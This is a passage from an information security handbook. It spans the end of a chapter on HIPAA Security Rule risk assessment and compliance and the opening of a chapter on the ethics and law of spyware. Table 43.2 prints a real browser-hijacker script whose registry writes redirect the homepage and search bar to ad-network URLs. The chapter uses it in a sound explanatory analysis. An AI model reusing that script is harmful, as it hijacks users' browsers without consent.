Risk Assessment Conducting a risk analysis is a required implementation specification of the HIPAA Security Rule. An entity must identify the risks to and vulnerabilities of the information in its care before it can take effective steps to eliminate or minimize those risks and vulnerabilities. As a first step, the organization must determine an approach and a methodology to set the course and provide a compass for its compliance initiatives. Following are some examples of existing security risk assessment frameworks: • INFOSEC Assessment Methodology (IAM), from the National Security Agency (NSA) • Operational Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE), from Carnegie Mellon University Software Engineering Institute (SEI) • NIST Special Publication 800-26 (Security Self-Assessment Guide for Information Technology Systems) In 2004, draft NIST Special Publication 800-66 (An Introductory Resource Guide for Implementing the Health Insurance Portability and Accountability Act [HIPAA] Security Rule) was published. This document is intended to assist in identifying available NIST guidance that can serve as useful reference material in addressing the HIPAA security standards. In addition, it provides a cross-mapping among requirements to ensure that agencies do not do additional unnecessary work because many requirements overlap. The Centers for Medicare and Medicare Services (CMS), working with the Utilization Review Accreditation Committee (URAC), NIST, and the Workgroup for Electronic Data Interchange (WEDI) Strategic National Implementation Process (SNIP), will also be providing additional information on how to integrate NIST guidance into the HIPAA security compliance initiative. NIST guidance for risk assessment can be found in the following publications: • NIST Special Publication 800-26 (Security Self-Assessment Guide for Information Technology Systems), http://csrc.nist.gov/publications/nistpubs/800-26/sp800-26.pdf • FIPS-199 (Standards for Security Categorization of Federal Information and Information Systems), http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf • Administrative Safeguards, Section 164.308(a)(1)(ii)(A), Risk Analysis (Required), which requires covered entities to conduct an accurate and thorough assessment of the potential risks and vulnerabilities to the confidentiality, integrity, and availability of electronic protected health information held by the covered entity Overall, the risks that must be assessed are the risks of noncompliance with the requirements of Section 164.306(a), General Rules, of the Security Rule: (1) ensure the confidentiality, integrity, and availability of all ePHI that the covered entity creates, receives, maintains, or transmits; (2) protect against any reasonably anticipated threats or hazards to the security or integrity of such information; (3) protect against any reasonably anticipated uses or disclosures of such information; and (4) ensure compliance
Health Insurance Portability and Accountability Act Security Rule
519
with this subpart by its workforce. Risk management is the process of identifying and assessing risk and taking steps to reduce risk to an acceptable level. The risk assessment should identify potential risks and vulnerabilities with regard to the confidentiality, integrity, and availability of ePHI held by the covered entity. At a minimum, the risk assessment should determine the characteristics of the hardware, software, systems, interfaces, and information. It should include people, processes, and technology. The next process or phase expands on information gathered in the previous phases, leading to further definition of the project scope, plan, schedule, resource requirements, and budget forecasting. Information from all inventories and surveys should be reviewed, analyzed, and summarized; this new knowledge should be utilized as input to the enterprisewide risk assessment. Enterprises or even individual business units that have recently completed risk assessments for any reason will be ahead of the game and have valuable input to the risk assessment process. Other inputs or sources of discovery might be audit reports and open audit findings; vendor reviews and contracts; statements of work (SOWs) and service level agreements (SLAs); external connection inventories; output from intrusion detection systems (IDSs); investigation and incident response systems; audit and monitoring systems; and scanning tools. The results and output from system- and application-level testing may also be of some value in putting together the risk assessment puzzle. Information on known project deliverables, life cycles, and known and identified problems should also be incorporated. Many companies outsource their information technology (IT) services and support, either in their entirety or in smaller portions. Outsourcing partners or providers may be able to provide valuable information. Typically, SLAs are associated with these contracts, and metrics are reported and tracked. This information could also be of value to the risk assessment. A growing trend is to outsource security operations and management through security managed services. These companies constantly monitor a company’s network and systems for security anomalies. Many map to known and permitted access and send an alert when violations or even suspected activities are detected. Vendors, managed service providers, and other sources can provide ongoing risk and vulnerability reporting and incident tracking. Benchmarking within the industry and general security threat analysis information are also of value. This type of information could be specific to the healthcare industry, to security (e.g., Internet), or to compliance, or it could pertain to business operations in general. Such information could include virus alerts and occurrences, patches, code vulnerabilities, attack attempts, etc. If an organization already has a well-established information security program and has defined and implemented information security policies and procedures, then its risk assessment should map not only to the HIPAA Security Rule but also to existing security policies and procedures. The risk assessment must also consider compliance to physical and human resources security policies and procedures and should provide for consistent approaches and controls. Other input can come from the areas of business continuity planning (BCP) and disaster recovery (DR). Risk assessments and impact analysis are the cornerstones of these functions, in addition to application inventories; defining critical applications; determining ownership of and classifying systems, data, and applications; and incident and crisis management. Risk can never be totally eliminated. Compliance with the HIPAA Security Rule requires that appropriate and reasonable safeguards be implemented to protect the confidentiality, integrity, and availability of ePHI. In the context of HIPAA security, a covered entity may want to protect more than ePHI (e.g., employment, brand, patent, research and development, and financial information). In addition to integrating compliance with existing security policies and procedures during the risk assessment and inventory processes, it is helpful to ensure compliance to the technical security architecture, guidelines, and standard security configurations. The IT team should be assigned the responsibility to check all hardware and software to determine whether selected security settings are enabled. The output from this effort will provide input to the next process (gap analysis) and will assist in the determination of the effectiveness of current safeguards If organizations focus only on HIPAA security compliance, they leave themselves open to other risks. They must also assess change impact, people, business units, and technology. The risk assessment process is labor intensive and yields volumes of information. The team will need to have a predetermined plan
520
Information Security Management Handbook
for review, analysis, consolidation, interpretation, and summarization of the information gathered. Putting considerable thought into defining the risk analysis criteria, developing a useful assessment format, and determining the questions to ask will result in useful information (remember, “garbage in, garbage out”). Remember that the people filling out the risk assessment questionnaires and gathering the information may not be experts in IT, supporting business processes, or security. The process should include follow-up and information validation processes. The final outcome of the risk assessment process is the risk assessment report. Covered entities should use a combination of qualitative and quantitative risk assessment methodologies. The process discussed above emphasizes qualitative risk assessment methodologies and processes. Although traditionally seen as subjective when compared to quantitative risk assessment, the resulting risk assessment report may be easier to defend when it is presented to the HIPAA Security Rule advisory board or steering committee. Qualitative measurement is used to determine if a specific element qualifies. Qualitative analysis could be used to determine the scope of HIPAA security compliance by stating that if a system contains ePHI then it qualifies for inclusion in the risk assessment for the HIPAA Security Rule. Another use of qualitative assessment is for significance or strength. For example, qualitative evaluations such as low, moderate, or high may be used to determine the likelihood that a virus would be introduced to the organization’s system via e-mail. Basically, qualitative analysis is used to determine “yes” or “no” with regard to including a specific element and is also used to determine the significance of something using non-numerical terminology. Qualitative analysis is subjective. The accuracy of qualitative analysis determinations relies on subject matter expertise in the following areas: • • • • •
Operations and processes Workforce capabilities System capabilities Compliance program management System development lifecycle management
Quantitative measurement is used to determine characteristics in numerical terms, usually expressed in percentage, dollar amount, or number of times a specific event occurs in a stated period of time. If, during a qualitative analysis, it was determined that it was highly likely that a virus could be introduced to the system via e-mail, then the quantitative analysis might determine a probability of 99.99% that the system would have a virus introduced via e-mail. Algorithm analysis is an example of quantitative analysis. Algorithm analysis can be used to quantify impact in a dollar amount by computing the annualized loss expectancy (ALE). ALE is computed as a function of the single loss expectancy (SLE) in dollars and the annualized rate of occurrence (ARO).The data that is used for the basis of these determinations vary. Usually the determinations are based on regional, national, or worldwide aggregated performance criteria of hardware and software configurations to security threats. Rarely does a covered entity have the capability to collect enough aggregated data to make these computations, so the use of algorithm quantitative analysis usually requires the expertise of vendors that specialize in this type (actuarial science) of risk assessment. Quantitative analysis is objective. The benefit of quantitative determinations relies on: • • • •
Relevance of the data used in the computations Current accuracy of the data Ability to interpret the meaning of the numerical values Ability to translate determinations into risk mitigation
As-Is State/Gap Analysis The risk assessment report provides a summarization of the as-is state of the existing information security program. It also highlights where the covered entity is relative to compliance with the HIPAA Security
Health Insurance Portability and Accountability Act Security Rule
521
Rule. Utilizing the security rule matrix and the risk assessment report, the next project process or phase is to conduct an enterprisewide gap analysis to determine corrective action plans as well as updates to the compliance plan. It is important to determine gaps or vulnerabilities in the following areas: policy, procedures and processes, training and awareness, implementation or process integration, operational controls, and audit. A critical and valuable tool in the gap analysis process is the gap analysis checklist, which is a list of the requirements of the HIPAA Security Rule as defined for the covered entity during the HIPAA Security Rule interpretation and in the Security Rule matrix. The checklist is written in a question format, is easy to understand and answer, and does not require specific technical or business process skills. Project documentation is critical, particularly documentation leading to judgments and decisions. The documentation should be updated throughout each project phase or process. The auditor and accreditation authority will use this documentation to validate compliance initially and on an ongoing basis. A well-defined checklist will provide the auditor with a roadmap for review, leading to an organized list of recommendations for enhancements and remediation. Whether an organization designs or purchases a compliance checklist, the completed checklist will be used to draw up a task list for the remediation plan. The detailed checklist will serve as a tool to compare the organization’s current as-is state to the Security Rule matrix. Determine whether or not current safeguards ensure the confidentiality, integrity, and availability of all ePHI. What technical and administrative safeguards are in place to protect and secure ePHI? Where are the gaps? This process allows the organization to easily identify the requirements that it is already meeting and those that still must be addressed within the project plan. The organization will also obtain critical additional information regarding the resources and timeline necessary for the HIPAA Security Rule compliance project.
Enhancements and Implementation of Administrative and Technical Controls Although the Security Rule does not require purchasing any particular technology, additional hardware, software, or services may be needed to protect ePHI adequately. If additional technical controls are necessary, the organization should consider conducting a product evaluation in compliance with existing policies and procedures. A cost–benefit analysis should be conducted early on in the process to determine the reasonableness of the investment given the security risks identified. Administrative and manual processes may supplement or replace technology solutions. Members of the technical team should initiate the technology reviews utilizing requirements derived from the above processes or phases as well as ongoing input from the business and functional areas. Vendor presentations and demonstrations will be helpful for management, technical teams, and business functional areas. These will help inform, communicate, and gain concurrence throughout the process. New technology or even new administrative controls should be integrated into the overall information security and technical architecture and its supporting processes to exploit and take advantage of existing investments. The covered entity should have good security standards already in place that require only supplemental enhancement for HIPAA Security Rule compliance. It is advisable to closely monitor the introduction of new or additional technical and administrative controls to ensure security compliance without imposing undue burdens on the business and its operations. Requirements and solutions at this stage of the process will come directly from the updated Security Control matrix. Activities will map to a combination of administrative and technical controls integrating this phase or process to both technical and administrative teams. Depending on the strategy that the covered entity has adopted, the focus here will be on centralized or decentralized solutions. Additionally, it may be necessary to look for automated technical solutions or administrative and manual solutions. Some covered entities may also take a wait-and-see approach pending the outcome of future litigation and fines around HIPAA compliance. Another strategy might be to implement controls of the “lowhanging fruit” variety for initial compliance and then take a slower and longer approach to the hard and
522
Information Security Management Handbook
expensive solutions. In this case, it is important to document the reasoning in the project documentation management system and to have a solid and approved long-term project plan in place for audit and compliance. To the extent practical, the organization should stick with their major upfront decisions unless they are proven to be illogical or ill founded; they should not continue to second guess or revisit their rule interpretations, previous decisions and directions, or the project plan. Second guessing will cause the organization to lose credibility with its stakeholders and threaten its compliance plan and schedule.
Training and Awareness Information security awareness training and regular security updates and reminders are required for all personnel who fall under HIPAA guidelines, including managers, agents, and contractors. A covered entity’s HIPAA compliance training and awareness program should focus on the HIPAA Security Rule to ensure that the program framework meets and exceeds the requirements laid out in Section 142.308(12) regarding: • • • • •
Training on vulnerabilities of digital health information and how to protect that information Password maintenance Incident reporting Viruses Malicious code
As previously mentioned, a thorough and multimedia HIPAA Security Rule communication plan should be developed early on in the process. Tailored communications should be developed and deployed specific to each phase of the project, with a common goal of keeping all stakeholders, team members, vendors, contractors, customers, business partners, and workforce members well informed. The communication plan builds bridges to other enterprise communications and projects. It also works with the HIPAA Security Rule training and awareness program and the overall enterprise information security training and awareness program. The primary goal of all Security Rule communication is to ensure that workforce members are well informed regarding executive management’s position and direction on HIPAA Security Rule compliance and information security in general. The training course material provides a review of the HIPAA Security Rule specific to the covered entity’s implementation and the enterprisewide information security policies and procedures. It establishes workforce member expectations and specifically informs them on new behavior expectations. It clearly outlines and explains what will change, what they need to do, and how they will do it. The training should be ongoing and intermingled throughout the project, with an emphasis on the readiness of technical and administrative control mechanisms. For example, at project initiation some skill training for the project team may be conducted, in addition to training on how to interpret the HIPAA Security Rule, how to conduct a risk assessment and gap analysis, and how to evaluate the as-is state to determine what new administrative and technical controls might be necessary. Particular emphasis should be placed on training regarding policies, procedures, and technical and administrative tools and processes. Security awareness and training should already be the cornerstones of an organization’s information security program, and initial and annual HIPAA Security Rule training can be incorporated with these overall security training and awareness programs. Training may be tailored to the various roles and responsibilities within the enterprise — detailed training for security and privacy officials; briefer, more high-level training for senior executives and management; and, finally, more detailed training in tools, forms, and processes for those routinely handling and processing ePHI.
Health Insurance Portability and Accountability Act Security Rule
523
A search of the Internet will reveal a number of companies offering various types of HIPAA training, either standard or custom. An organization’s training and awareness plan and supporting communication plan may require a combination of in-house and vendor HIPAA Security Rule training material.
Implement an Ongoing HIPAA Compliance Organization and Infrastructure Everyone has experienced the breakdown of an implemented project or infrastructure as interest in the project wanes over time and team members are reassigned or overcome by new projects and events. It is critical that the HIPAA Security Rule project sustain its momentum over time and that the ongoing organization structure, designated roles and responsibilities, and compliance infrastructure remain active and effective over time. This will be particularly critical when dealing with new laws and regulations. It is important to note that legal groups estimate that laws and regulations regarding personal privacy will continue to evolve over the next decade; consequently, covered entities must remain knowledgeable, informed, agile, and adaptive. A foundation must be established to quickly integrate new control requirements that are both administrative and technical. An ongoing risk assessment and gap analysis management process must be implemented to integrate controls for new and added risks and vulnerabilities that naturally occur within the business and within information technology. The HIPAA Security Rule speaks to the need for external accreditation, and many vendors, as well as audit and accounting firms, are ramping up to conduct accreditations and certifications. A growing tendency is for companies to use compliance with laws and regulations (particularly if certified by external accreditation authorities) as a competitive advantage in their sales and marketing programs. Companies are also incorporating compliance certifications and accreditation into their annual reports, Securities and Exchange Commission (SEC) reports, and marketing and advertising. As noted earlier, internal audit personnel are a critical component of the HIPAA Security Rule project team and not only have ongoing roles and responsibilities throughout the project but also have a critical role at the end of the project for certification of compliance. The documentation, checklists, and audit findings from the internal audit team will also serve as a guideline for external auditors, leading to a more efficient, effective, and compliant report. It is important to allow enough time to do an in-depth preimplementation audit. The more information that can be acquired for developing task lists and project plans, the more efficient and effective the audit process will be. When the audit has been completed, representatives should meet with the auditors to summarize the results. These results can be transferred to task lists for remediation and corrective actions.
Checklist for Success • Do not over-react or panic, and do not overspend but leverage. Do only what is required to become compliant, and take the opportunity to enhance the organization’s current security environment in the process. • Be sure that the covered entity is protected against all reasonably anticipated threats or hazards to the security and integrity of ePHI. Interruption to business process and workflow should be avoided at all cost. • Be sure business and technology converge to ensure compliance with the HIPAA Security Rule. • Realize that there can only be one chief and that the governing and advisory boards are integral to the process. • Understand that, although benchmarking and research are mandatory, the rule purposely and specifically provides guideline only, in recognition of each covered entity’s individual risk, business imperative, and budget.
524
Information Security Management Handbook
References CMS. 2002. CMS Information Systems Threat Identification Resource. Baltimore, MD: Center for Medicare and Medicaid Services (http://www.cms.hhs.gov/it/security/docs/Threat_ID_resource.pdf). FIPS. 2004. Standards for Security Categorization of Federal Information and Information Systems, FIPS199. Washington, D.C.: Federal Information Processing Standards (http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf). NIST. 2005. An Introductory Resource Guide for Implementing the Health Insurance Portability and Accountability Act (HIPAA) Security Rule, NIST Special Publication 800-66. Washington, D.C.: National Institute of Standards and Technology. Parmigiani, J. and B. McGowan. 2004. Risk Analysis: First Step in HIPAA Security. Colts Neck, NJ: Blass Consulting (http://www.complyassistant.com).
43 The Ethical and Legal Concerns of Spyware Janice C. Sipior, Burke T. Ward, and Georgina R. Roselli Spyware is regarded as the largest threat to Internet users since spam, yet most users do not even know spyware is on their personal computers (PCs). Spyware (a.k.a. adware, foistware, malware, pestware, scumware, sneakware, snoopware, and trespassware) includes “[a]ny software that covertly gathers user information through the user’s Internet connection without his or her knowledge, usually for advertising purposes” (FTC, 2004b). The definition is so broad that it may cover software that is beneficial and benign or software that has poorly written, inefficient code (FTC, 2004c). The Center for Democracy and Technology, a policy research group, has proposed that software that hijacks Web traffic, tracks Internet users without their knowledge and consent, and is not easily removable should be considered spyware. “Spyware appears to be a new and rapidly growing practice that poses a risk of serious harm to consumers” (FTC, 2004a). An estimated 7000 spyware programs run on millions of corporate and personal computers. A study in May 2003 reported that 91 percent of home PCs are infected with spyware (Richmond, 2004). Gartner Research estimates that over 20 million people have installed spyware applications on their PCs. According to Microsoft, spyware is responsible for half of all PC crashes. Spyware complaints are the most common reason for consumers to contact Dell Tech Support Services (Urbach and Kibel, 2004), with about 20 percent of calls related to spyware or viruses, up from 2 percent for the previous 18 months. The increasing prevalence of spyware is not unlike the unintended use of cookies, a Web-tracking and information-gathering technique for obtaining personal information from Web users, often without their knowledge. While information concerning user characteristics and preferences collected via cookies may be used beneficially to improve product and service offerings to consumers, the surreptitious nature of its acquisition coupled with no indication of its intended use can raise ethical issues regarding the acceptability of privacy invasions in Web use. However, the consequences of spyware can be more severe. For industry sectors that are subject to data collection laws, such as the Health Insurance Portability and Accountability Act and Sarbanes–Oxley Act, spyware can unwittingly result in noncompliance. Section 404 of Sarbanes–Oxley requires publicly held companies to annually evaluate their financial reporting controls and procedures. The security and privacy of proprietary information and systems cannot be guaranteed should stealth spyware arrive. This article examines the controversy surrounding spyware. First, the types of spyware are overviewed. The ethical and legal concerns of spyware, including trespass, privacy invasion, surreptitious data collection, direct marketing, and hijacking, are then discussed. Finally, the various methods of battling spyware, including approaches by individual users, organizations, and U.S. Government oversight, legislation, and litigation, are addressed.
525
526
Information Security Management Handbook
TABLE 43.1 Earthlink’s 2004 Spyware Audit Number of Instances of Spyware Found Type of Spyware
1st Quarter
2nd Quarter
3rd Quarter
4th Quarter
Total (%)
Adware Adware cookies System monitors Trojans Total
Types of Spyware Spyware has been variously categorized on the basis of the activities it performs. EarthLink (an Internet service provider) and Webroot Software, Inc. (an anti-spyware software maker) audited over 4 million PCs in 2004 and found 116.5 million instances of spyware, averaging 25 instances of spyware per PC. As shown in Table 43.1, over 90 million (78 percent) of these items were adware cookies. Excluding cookies, the average instance of spyware per PC is nearly 5.
Adware Cookies Adware cookies are files containing information about a user’s Web site interaction, which can be exchanged between the Web site, the user’s hard drive, and back. Originally intended for innocuous purposes such as keeping track of items in an online shopping cart, simplifying the log-in process, and providing users with customized information based on stated interests, cookies can be used to create a profile of a user’s online behavior without that user’s knowledge or consent.
Adware Adware is used for direct marketing on the Web, with or without user consent. By monitoring users’ Web browsing or by using detailed target market profiles, adware delivers specific advertisements and offerings, customized for individual users as they browse the Web. These advertisements can take the form of pop-up or pop-under ads, Web banners, redirected Web pages, and spam e-mail. An example of a redirected homepage and default search engine is presented in Table 43.2. This example results from visiting a known spyware site such as www.yahoogamez.com. (Do not visit this site!) The get_http (HyperText Transfer Protocol) command returns the HyperText Markup Language (HTML) of the Web site whose address is 209.50.251.182, which is an Internet Protocol (IP) address rather than a hostname. The HTML from this site is downloaded. Within this HTML are commands that redirect the homepage and the default search engine of the user’s browser.
Trojan Horses A malicious form of spyware named for the Trojan horse from Greek history, a Remote Administration Trojan (RAT), or Trojan, can take control of a user’s computer by installing itself with a download and taking directions from other computers it contacts via the Internet. Trojans can turn a PC into a spam proxy without user knowledge or use Microsoft Outlook e-mail as if it were a browser to allow for a torrent of pop-up ads. Trojans can also be designed to steal data or damage computer files.
System Monitors This form of spyware, also referred to as keystroke loggers, surreptitiously collects data from user–computer interaction, both locally and online. User keystrokes and mouse-clicks can be recorded while
The Ethical and Legal Concerns of Spyware
527
TABLE 43.2 Example of Change of Homepage and Default Search Engine [Editor’s warning: Do not visit this site!] Get_http command initiated by visiting www.yahoogamez.com: [20/Jul/2004:14:03:55 -0500] “GET_http://209.50.251.182” — “/vu083003/object-c002.cgi HTTP/1.1”
The HyperText Markup Language (HTML) returned from the 209.50.251.182 Web site: <script> wsh.RegWrite(“HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page,” “http://default-homepage-network.com/start.cgi?new-hkcu”); wsh.RegWrite(“HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page,” “http://default-homepage-network.com/start.cgi?new-hklm”); wsh.RegWrite(“HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar,” “http://server224.smartbotpro.net/7search/?new-hkcu”); wsh.RegWrite(“HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst,” “no”); wsh.RegWrite(“HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar,” “http://server224.smartbotpro.net/7search/?new-hklm”); wsh.RegWrite(“HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst,” “no”); <script language=javascript> self.close()
Source: Adapted from Liston (2004).
shopping or banking on the Web and locally while using software such as spreadsheets or videogames. This data can be transmitted back to the spyware installer, shared with other businesses such as marketers, or sold to data consolidators.
The Ethical and Legal Concerns of Spyware The controversy surrounding spyware results from ethical and legal concerns associated with its distribution and capabilities. The issues, including trespass, privacy invasion, surreptitious data collection, direct marketing, and hijacking, are discussed below.
Trespass Spyware usually arrives uninvited from file-sharing services as hidden components bundled with desired downloads such as screen savers, music-swapping software, or other freeware or shareware but can also be included with purchased software. Spyware can masquerade as a legitimate plug-in needed to launch a certain program or pose as a browser help object, such as a toolbar. Users may unwittingly consent and accept spyware by agreeing to, but not thoroughly reading, the license presented when installing such software. Spyware can also be distributed in a variety of stealth ways. For example, a “drive-by download” starts a download process when a user visits a Web site or clicks on a Web ad. In peer-to-peer networks, spyware can hide in group directories and spread itself through infestation of the directories on a user’s PC. Users can also be tricked into installing spyware. A message box might appear saying, “To install this program, click ‘No’,” prompting a user to unknowingly click for installation. Spyware can also covertly install other spyware programs as part of an “auto-update” component. This creates new security vulnerabilities by including capabilities to automatically download and install additional programs.
528
Information Security Management Handbook
The idea of others installing software, undetected, on an individual’s hard drive may be offensive. Once installed, spyware utilizes the user’s own resources, potentially without the user’s knowledge and express permission. Spyware’s monitoring or controlling of PC use can significantly slow the performance of basic tasks such as opening programs or saving files. Random error messages, pop-up ads, or a surprise homepage may appear when opening the browser. New and unexpected toolbars or icons may appear on the user’s desktop. Common keys, such as tab, may no longer function. The transmission of user information gathered by spyware uses valuable bandwidth and threatens the security of computers and the integrity of online communications. Even with the use of anti-spyware software, removal can be difficult. Knowledge of how to manipulate the Windows registry is required for persistent spyware. Diagnosing compromised system performance and removing spyware places a substantial burden on users or corporate support departments. Uninvited stealth spyware is particularly insidious and could arguably be considered trespassing. Users should be able to maintain control over their own computer resources and Internet connection. They should not be disallowed from using their own computer as they personally desire and should have the ability to remove, for any reason and at any time, unwanted programs. Applying common law, this unauthorized invasion is called trespass to chattels (i.e., personal property). This is a legal remedy for an individual, not a governmental remedy, that protects society generally. Governmental remedies, such as actions by the Federal Trade Commission (FTC), are discussed later, in the section addressing U.S. legislation. According to the Restatement (Second) of Torts, §217, a trespass to chattel can be committed by intentionally: • Dispossessing another of the chattel, or • Using or intermeddling with a chattel in the possession of another. Although not yet applied in any legal action, it is arguable that a computer user is dispossessed, not physically of course, but at least constructively, by the uninvited spyware when the operation of the PC is impaired through hijacking, crashing, or disruption of performance. At a minimum, the spyware installer is using and intermeddling with the user’s possession through unauthorized data collection, control of his browser, Web page redirection, search engine substitution, pop-up ads, and hijacking. Possession is defined in §216 as “physical control … with the intent to exercise such control on his own behalf, or on behalf of another.” Spyware clearly interferes with control and therefore should be subject to legal action. If the unauthorized installation of spyware is actionable as a trespass to chattel, the installer should be liable to the injured party. The Restatement at §218 states that “[O]ne who commits a trespass to a chattel is subject to liability to the possessor of the chattel if, but only if, • • • •
He dispossesses the other of the chattel, or The chattel is impaired as to its condition, quality, or value, or The possessor is deprived of the use of the chattel for a substantial time, or Bodily harm is caused to the possessor, or harm is caused to some person or thing in which the possessor has a legally protected interest.”
Depending on the characteristics and purpose of the spyware, at least one, and possibly all, of these consequences will be present.
Privacy Invasion Privacy is one of the major concerns raised by spyware. The privacy concern is based mainly on the potential for intrusions into a user’s computer resources for surreptitious data collection, dissemination of an individual’s private information, and uninvited direct marketing. Spyware “install[s] itself without your permission, run[s] without your permission, and use[s] your computer without your permission”
The Ethical and Legal Concerns of Spyware
529
(Baker, 2003). Without having knowingly provided permission for the installation of spyware, the user is likely to see spyware as a violation of privacy. Is the user’s privacy legally protected? There is no definitive answer. The full extent of privacy rights within the United States remains unclear. Recognition of privacy rights within the United States did not occur until the late 1800s (Warren and Brandeis, 1890). Almost a half century ago, privacy was recognized as, in part, a spiritual issue, the unprivileged invasion of which is an affront to individuality and human dignity (Bloustein, 1964). Are the actions of spyware such an unethical affront to individual human dignity, to be afforded legal protection? Currently, privacy protection in the United States is an incomplete but complex amalgam of federal and state constitutions, statutes, and regulations. The scope of privacy protection provided by each legal source varies. Therefore, the reasonableness of a user’s expectation of privacy differs depending on whether the claim is made under constitutional, common, or statutory law. The resolution of the issue will ultimately require either federal legislation or a seminal legal case in which the user’s reasonable expectation of privacy is determined.
Surreptitious Data Collection Spyware, such as system monitors, can surreptitiously capture personal information stored or typed into a PC. Hard drives can be scanned to obtain information from a user’s files and application programs such as e-mail, word processors, and games. User keystrokes and mouse-clicks can be recorded during both Internet access and local PC use, in playing videogames for example. Information obtained, such as user behavior, financial data, credit card numbers, passwords, and ID-tagged downloads, can be transmitted to the spyware installer and partners for marketing or fraudulent purposes. These sites can “phish” for data from user inputs while surfing, banking, and making purchases, or promote pornography, gambling, or fraudulent schemes. An investment broker recently lost $540,000 after he installed spyware disguised as a phony market analysis program that transmitted his account information to hackers. Other sinister uses may evolve, such as capturing and transmitting Word and Excel documents to steal corporate secrets or recording telephone conversations when a suitable modem is attached to the PC. Spyware uses novel approaches to collect data, such as adware cookies. Avoiding Web sites that place cookies on your hard drive, however, does not eliminate them. Spam e-mail can contain cookies that are read by the originating server and matched to the user’s e-mail address. The information gathered by cookies can beneficially increase convenience in the online shopping experience and allow for personalized marketing strategies to be employed. However, without informed consent for specific information collection, cookies can be viewed as “a self-serving act of capitalist voyeurism” (Stead and Gilbert, 2001). Another novel form of spyware is the “Backdoor Santa,” a stand-alone program that gathers user information. A popular example of this spyware is a novelty cursor representing a seasonal icon or the likeness of Dilbert or a Peanuts character. Using a Globally Unique IDentifier (GUID), issued when the program is downloaded, the provider’s servers are contacted to record logs of cursor impressions, the identity of referrers, Internet Protocol (IP) addresses, and system information, all without user awareness. The data collected by the provider is given to paying clients to inform them of how many individual users have customized cursors obtained from specific sites. Ethically, spyware installers have an obligation to users to obtain informed consent for the collection and use of personal information. However, in the commercially competitive environment of E-commerce, information gathering may be undertaken without users’ knowledge or permission. The mere awareness, on the part of an end user, of the existence of spyware may impart an eerie feeling during computer use. The knowledge that someone, somewhere, may be tracking every mouse-click and every keystroke can be unsettling. Even if users were aware of all the data collected about them, they would still have little idea of how that data is used, by whom, and the resulting direct marketing that can result. Perhaps users having comprehense information about what data is being collected, when and for what purpose, and what impact such activities can have on computer performance, as well as being presented with the opportunity to grant permission, could remove the stealth reputation of these activities.
530
Information Security Management Handbook
Direct Marketing Adware serving networks pay software companies to include spyware with their legitimate software such as games, utilities, and music/video players for the purpose of gathering user preferences, characteristics, and online behavior. Using programs installed on the user’s computer, this user information is sent to the advertiser that serves the targeted ad. Such marketing activity is expected to continue to increase, raising concerns about its acceptability. The Direct Marketing Association (DMA) projects a growth rate in interactive media expenditures of 18.9 percent annually, reaching US$5.0 billion in 2006. Adware can be used beneficially to improve product and service offerings to consumers. For example, a determination of what advertisements a Web site visitor has already seen can be made so that only new ads are presented during future visits. Such tracking allows for a personalized screening capability, thus reducing information overload. A user’s online usage and interests can also be used to determine what other sites are visited, thereby allowing identification of potential affiliate Web sites. Such use seems rather innocuous and perhaps even desirable; however, if used to promote pornography, gambling, or fraudulent schemes, adware becomes a questionable medium. Further contributing to the unacceptability of adware is the practice of browser hijacking, disallowing the user control of his own browser. The user should receive adequate notice of and permission for the installation of spyware (with the capability to uninstall it) for the explicit purpose of exchanging user information for the benefits of adware. Although adware applications are usually disclosed in the End User Licensing Agreement (EULA) of the software it accompanies and can be uninstalled from the user’s system, such disclosures may not be read. Without explicit user permission, the user is likely to object to and be offended by the delivery of adware.
Hijacking Spyware, such as Trojan horses, can persistently disallow user control over his computing resources, precluding his use of the system and compromising system security. Most users are not aware of the depth of penetration into their systems. The browser’s homepage, default search engine, bookmarks, and toolbars can be changed to persistently present a competitor’s Web site or a look-alike site. Mistyped URLs can be redirected to pornographic sites and pop-up advertising can be presented. Web sites may be launched without any action on the part of the user. Dialers can use a telephone modem to dial into a service, such as a pornographic 900 number, for which the user is then billed. System settings can be modified. For example, the auto signature can be reset; uninstall features can be disabled or bypassed; and anti-virus, anti-spyware, and firewall software can be modified. McAfee, an intrusion prevention software provider, first detected a homepage hijacking program in July 2002. As of July 2004, there were more than 150 hijacker spyware programs (Gomes, 2004). Hijacking is particularly offensive due to its persistent nature.
Battling Spyware The approaches to reduce unwanted spyware include individual user vigilance, organizational initiatives, U.S. Federal Trade Commission (FTC) oversight, legislation, and litigation, as shown in Table 43.3 None of these approaches alone has been effective. Rather, battling spyware requires a combination of these approaches.
Individual User Vigilance Individual users can undertake some defense against spyware through vigilance in interacting with the Internet and properly managing their computing resources. First and foremost, a user needs to be vigilant in downloading files. Before installing any software, a user should carefully read the EULA. Ethically, any spyware bundled with the download should be disclosed in this “clickwrap” agreement. There may be an opt-out option to avoid downloading spyware, but this does not occur frequently. If a pop-up window appears to ask the user, “Do you want to install this software?” the user should avoid clicking no, which may result in unwanted installation. Rather, the user should close the window with the “X” window closer
The Ethical and Legal Concerns of Spyware
531
